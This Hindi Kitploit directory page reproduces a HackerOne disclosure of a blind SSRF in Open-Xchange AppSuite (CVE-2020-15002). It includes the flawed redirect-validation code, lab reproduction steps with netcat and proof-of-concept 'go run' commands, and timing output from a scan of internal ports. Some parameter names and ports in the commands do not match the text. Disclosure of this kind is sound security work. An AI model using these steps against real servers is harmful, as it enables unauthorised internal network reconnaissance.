Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Blind-SSRF-CVE-2020-15002 — https://hackerone.com/reports/865652 | Kitploit
उपकरण/GitHubGitHub/skr0x1c0/blind-ssrf-cve-2020-15002
टोहीपोर्ट स्कैनिंगभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषण
GitHubskr0x1c0/blind-ssrf-cve-2020-15002

Blind-SSRF-CVE-2020-15002

https://hackerone.com/reports/865652

रिपॉजिटरी देखें
5 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

सारांश

/appsuite/api/oxodocumentfilter&action=addfile को संभालते समय बाहरी URL से छवियाँ लाने के लिए AddFileAction.getImageDataFromUrl में लागू किया गया लॉजिक यहाँ सभी रीडायरेक्ट्स का अनुसरण करने के बाद ही रीडायरेक्ट किए गए URL को मान्य करता है।

root@kitploit:~
response = httpClient.execute(getRequest, context);

int statusCode = response.getStatusLine().getStatusCode();
if (statusCode == HttpStatus.SC_OK) {
    List<URI> locations = context.getRedirectLocations();
    if (locations != null) {
        for (URI uri : locations) {
            try {
                Optional<OXException> oxException = validator.apply(uri.toURL());
                if (oxException.isPresent()) {
                    throw (RESTException) oxException.get().getCause();
                }
            } catch (MalformedURLException e) {
                throw new RESTException(ErrorCode.GENERAL_ARGUMENTS_ERROR, e);
            }
        };
    }
    long length = response.getEntity().getContentLength();
    ...
}

इसका उपयोग हमलावर द्वारा ब्लाइंड SSRF हमलों को अंजाम देने के लिए किया जा सकता है।

पुनरुत्पादन के चरण

  1. गाइड https://oxpedia.org/wiki/index.php?title=AppSuite:Open-Xchange_Installation_Guide_for_Debian_9.0 और https://oxpedia.org/wiki/index.php?title=AppSuite:Documents_Installation_Guide#Debian_GNU.2FLinux_9.0_.28valid_from_v7.10.29 का पालन करके वर्चुअल मशीन में Open-Xchange और Documents इंस्टॉल करें।
  2. VM के अंदर netcat को 127.0.0.1:7070 पर सुनने के लिए निम्न कमांड चलाएँ
    root@kitploit:~
    nc -l 127.0.0.1 -p 7070
    
  3. होस्ट मशीन पर, https://golang.org/dl/ से golang इंस्टॉल करें।
  4. poc.zip फ़ाइल डाउनलोड करें और एक्सट्रेक्ट करें।
  5. टर्मिनल / कमांड लाइन खोलें और वर्तमान निर्देशिका को निकाली गई poc.zip फ़ोल्डर पर सेट करें।
  6. कमांड चलाएँ
    root@kitploit:~
    go run . -redirectorAddress="172.16.146.1:8081" -targetPorts="7070" -serverRoot="http://172.16.66.130" -username="testuser" -password="secret"
    
    जहाँ
    • redirectorAddress: रीडायरेक्टर सर्वर को बाइंड होने के लिए IP पता और पोर्ट। यह IP पता VM से एक्सेस योग्य होना चाहिए।
    • targetPorts: VM के अंदर वह पोर्ट जहाँ netcat सुन रहा है।
    • serverRoot: open-xchange सर्वर का आधार URL।
    • serverUser: open-xchange सर्वर में किसी भी उपयोगकर्ता का उपयोगकर्ता नाम।
    • serverPass: open-xchange सर्वर में उपयोगकर्ता का पासवर्ड।

उपरोक्त कमांड चलाने पर netcat में निम्न आउटपुट प्रदर्शित होगा।

root@kitploit:~
GET /image.png HTTP/1.1
Accept: *
Accept-Encoding: gzip
Host: 127.0.0.1:7070
Connection: Keep-Alive
User-Agent: Open-Xchange Image Url Data Fetcher

प्रभाव

चूँकि यह एक ब्लाइंड SSRF है, HTTP अनुरोधों के प्रतिक्रिया को पढ़ना संभव नहीं है। हालाँकि, इस भेद्यता का उपयोग टोही (reconnaissance) के लिए किया जा सकता है।

उदाहरण: प्रतिक्रिया समय मापकर पोर्ट स्कैन

सर्वर के लोकल नेटवर्क पर पोर्ट्स 7070,61616,8004,80,22,25,8080,3125 का पोर्ट स्कैन चलाने के लिए, निम्न कमांड निष्पादित करें।

root@kitploit:~
go run . -redirectorAddress="172.16.146.1:8081" -targetPorts="7070,61616,8004,80,22,8080,3125" -serverRoot="http://172.16.66.130" -username="testuser" -password="secret" -numSamples=20

आउटपुट:

root@kitploit:~
2020/05/04 13:32:42 7070: 2.220000
2020/05/04 13:32:42 61616: 3567.000000
2020/05/04 13:32:42 8004: 2.980000
2020/05/04 13:32:42 80: 3.180000
2020/05/04 13:32:42 22: 34.600000
2020/05/04 13:32:42 25: 2169.333333
2020/05/04 13:32:42 8080: 2.560000
2020/05/04 13:32:42 3125: 3.000000

हम VM के अंदर खुले पोर्ट्स देखने के लिए lsof का उपयोग कर सकते हैं।

root@kitploit:~
sudo lsof -nP -iTCP -sTCP:LISTEN

आउटपुट:

root@kitploit:~
COMMAND  PID         USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
java     467 open-xchange   15u  IPv6  13049      0t0  TCP 172.16.66.130:9994 (LISTEN)
java     467 open-xchange   16u  IPv6  15970      0t0  TCP *:42319 (LISTEN)
java     467 open-xchange   24u  IPv6  14136      0t0  TCP 127.0.0.1:61616 (LISTEN)
java     467 open-xchange   33u  IPv6  16419      0t0  TCP *:8004 (LISTEN)
java     489 open-xchange   37u  IPv6  14138      0t0  TCP 127.0.0.1:9999 (LISTEN)
java     489 open-xchange   42u  IPv6  17565      0t0  TCP 127.0.0.1:1099 (LISTEN)
java     489 open-xchange   47u  IPv6  14144      0t0  TCP 127.0.0.1:5701 (LISTEN)
java     489 open-xchange  127u  IPv6  15345      0t0  TCP *:36149 (LISTEN)
java     489 open-xchange  144u  IPv6  17559      0t0  TCP 127.0.0.1:8009 (LISTEN)
apache2  526         root    3u  IPv6  13789      0t0  TCP *:80 (LISTEN)
apache2  527     www-data    3u  IPv6  13789      0t0  TCP *:80 (LISTEN)
apache2  528     www-data    3u  IPv6  13789      0t0  TCP *:80 (LISTEN)
mysqld   695        mysql   26u  IPv4  13847      0t0  TCP 127.0.0.1:3306 (LISTEN)
exim4   1077  Debian-exim    3u  IPv4  13115      0t0  TCP 127.0.0.1:25 (LISTEN)
exim4   1077  Debian-exim    4u  IPv6  13116      0t0  TCP [::1]:25 (LISTEN)
sshd    1345         root    3u  IPv4  14259      0t0  TCP 172.16.66.130:22 (LISTEN)
sshd    1345         root    4u  IPv4  14261      0t0  TCP 127.0.0.1:22 (LISTEN)

उपरोक्त आउटपुट से निम्नलिखित अवलोकन किए जा सकते हैं:

  • जैसा कि हम बंद पोर्ट्स 7070, 8080 और 3125 के लिए देख सकते हैं, प्रतिक्रिया समय कम है (~ 3ms से कम)।
  • खुले पोर्ट्स के लिए, सुनने वाले कनेक्शन के प्रकार के आधार पर, प्रतिक्रिया समय बदलता है।
    • ssh (पोर्ट 22) के लिए प्रतिक्रिया समय ~34ms है।
    • exim (पोर्ट 25) के लिए प्रतिक्रिया समय ~2170ms है।
    • ActiveMQ (पोर्ट 61616) के लिए प्रतिक्रिया समय ~3567ms है।
    • http (पोर्ट 80 और 8004) के लिए प्रतिक्रिया समय ~3ms है (इस प्रकार को बंद पोर्ट्स से अलग करना कठिन है)।

इसलिए एक हमलावर इस भेद्यता का उपयोग अधिकांश खुले पोर्ट्स का पता लगाने के लिए कर सकता है और कनेक्शन के प्रकार (ssh / exim / activemq आदि) का पता लगाने के लिए प्रतिक्रिया समय का उपयोग कर सकता है।

टूल डाउनलोड करें